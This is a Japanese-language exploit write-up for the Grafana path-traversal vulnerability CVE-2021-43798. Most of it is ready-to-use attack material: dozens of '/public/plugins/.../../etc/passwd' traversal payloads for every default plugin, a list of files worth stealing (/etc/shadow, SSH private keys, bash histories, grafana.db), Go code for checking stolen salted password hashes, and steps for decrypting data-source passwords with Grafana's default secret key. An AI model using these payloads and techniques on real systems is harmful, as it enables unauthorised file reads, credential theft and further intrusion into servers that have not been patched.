CVE-2021-43798 Grafana の未認証の任意ファイル読み取り脆弱性

8.3.1 (2021-12-07) セキュリティ: CVE-2021-43798 を修正しました。詳細については、ブログをご覧ください

https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/

例: DBパスワードを取得

/var/lib/grafana/grafana.db

ソルト付きパスワードの平文検証 https://github.com/grafana/grafana/blob/985c61d7008211e0fbee7d095bf3424adf71b4ac/pkg/util/encoding.go

package main

import (
	"crypto/sha256"
	"encoding/hex"
	"fmt"
	"golang.org/x/crypto/pbkdf2"
)

// EncodePassword encodes a password using PBKDF2.
func EncodePassword(password string, salt string) string {
	newPasswd := pbkdf2.Key([]byte(password), []byte(salt), 10000, 50, sha256.New)
	return hex.EncodeToString(newPasswd)
}

func main() {
	fmt.Println(EncodePassword("admin", "F3FAxVm33R"))
}

設定 /etc/grafana/grafana.ini

bash-5.1$ ps -ef |grep grafana
    1 grafana   0:35 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning

データソースシークレットの暗号化を確実にする

データソースはデフォルトで、パスワードとBasic認証パスワードを secureJsonData に暗号化 (AES-256 in CFB モード) して保存します。既存のデータソースは暗号化されていないパスワードで引き続き動作します。既存のデータソースを暗号化ストレージに移行するには、次の方法があります:

UI で作成されたデータソースの場合、データソース設定に移動し、パスワードまたは Basic 認証パスワードを再入力してデータソースを保存する必要があります。
プロビジョニングによって作成されたデータソースの場合、設定ファイルを更新し、secureJsonData.password または secureJsonData.basicAuthPassword フィールドを使用する必要があります。現在の設定の例については、[プロビジョニングドキュメント]({{< relref "../administration/provisioning" >}}) を参照してください。

https://github.com/grafana/grafana/blob/main/pkg/util/encryption.go

パスワードの復号

例: データベース /var/lib/grafana/grafana.db からデータソースの暗号文 R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q== を取得し、/etc/grafana/grafana.ini の secret_key (デフォルト: SW2YcwTIb9zpOOhoPsMm) を読み取って復号します。

$ go run AESDecrypt.go
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
[*] plainText= jas502n

パスワードの暗号化

例: 平文パスワード jas502n をキーを使用して暗号文に暗号化します。

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] PlainText= jas502n
[*] EncodePassword= QWhMOFdNZkqW6bx9YM0dPHMjzInsvycQXgMmMfFqpA==

その他の攻撃

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

Default plugins count: 40
Successful count: 48

Grafana nginx プロキシエラー400のバイパス

https://twitter.com/chybeta/status/1468410745264041992

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd

0x0 デフォルトでインストールされているプラグイン (40) リスト:

http://x.x.x.x:3000/api/plugins?embedded=0

alertlist
annolist
grafana-azure-monitor-datasource
barchart
bargauge
cloudwatch
dashlist
elasticsearch
gauge
geomap
gettingstarted
stackdriver
graph
graphite
heatmap
histogram
influxdb
jaeger
logs
loki
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table
table-old
tempo
testdata
text
timeseries
welcome
zipkin

0x01 /usr/share/grafana/public/app/plugins/datasource (21)

/usr/share/grafana/public/app/plugins/datasource

bash-5.1$ ls -l
drwxr-xr-x    3 root     root          4096 Oct  7 10:55 alertmanager
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 cloud-monitoring
drwxr-xr-x    8 root     root          4096 Oct  7 10:55 cloudwatch
drwxr-xr-x    2 root     root          4096 Oct  7 10:55 dashboard
drwxr-xr-x    9 root     root          4096 Oct  7 10:55 elasticsearch
drwxr-xr-x    3 root     root          4096 Oct  7 10:55 grafana
drwxr-xr-x   19 root     root          4096 Oct  7 10:55 grafana-azure-monitor-datasource
drwxr-xr-x    9 root     root          4096 Oct  7 10:55 graphite
drwxr-xr-x    6 root     root          4096 Oct  7 10:55 influxdb
drwxr-xr-x    4 root     root          4096 Oct  7 10:55 jaeger
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 loki
drwxr-xr-x    2 root     root          4096 Oct  7 10:55 mixed
drwxr-xr-x    5 root     root          4096 Oct  7 10:55 mssql
drwxr-xr-x    5 root     root          4096 Oct  7 10:55 mysql
drwxr-xr-x    6 root     root          4096 Oct  7 10:55 opentsdb
drwxr-xr-x    5 root     root          4096 Oct  7 10:55 postgres
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 prometheus
drwxr-xr-x    4 root     root          4096 Oct  7 10:55 tempo
drwxr-xr-x    7 root     root          4096 Oct  7 10:55 testdata
drwxr-xr-x    4 root     root          4096 Oct  7 10:55 zipkin

Fuzz 成功!

/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

0x02 /usr/share/grafana/public/app/plugins/ (29)

/usr/share/grafana/public/app/plugins/panel/

drwxr-xr-x    2 root     root        4.0K Oct  7 10:55 alertGroups
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 alertlist
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 annolist
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 barchart
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 bargauge
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 canvas
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 dashlist
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 debug
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 gauge
drwxr-xr-x    8 root     root        4.0K Oct  7 10:55 geomap
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 gettingstarted
drwxr-xr-x    5 root     root        4.0K Oct  7 10:55 graph
drwxr-xr-x    5 root     root        4.0K Oct  7 10:55 heatmap
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 histogram
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 live
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 logs
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 news
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 nodeGraph
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 piechart
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 pluginlist
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 stat
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 state-timeline
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 status-history
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 table
drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 table-old
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 text
drwxr-xr-x    6 root     root        4.0K Oct  7 10:55 timeseries
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 welcome
drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 xychart

Fuzz 成功

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd

Grafana-CVE-2021-43798

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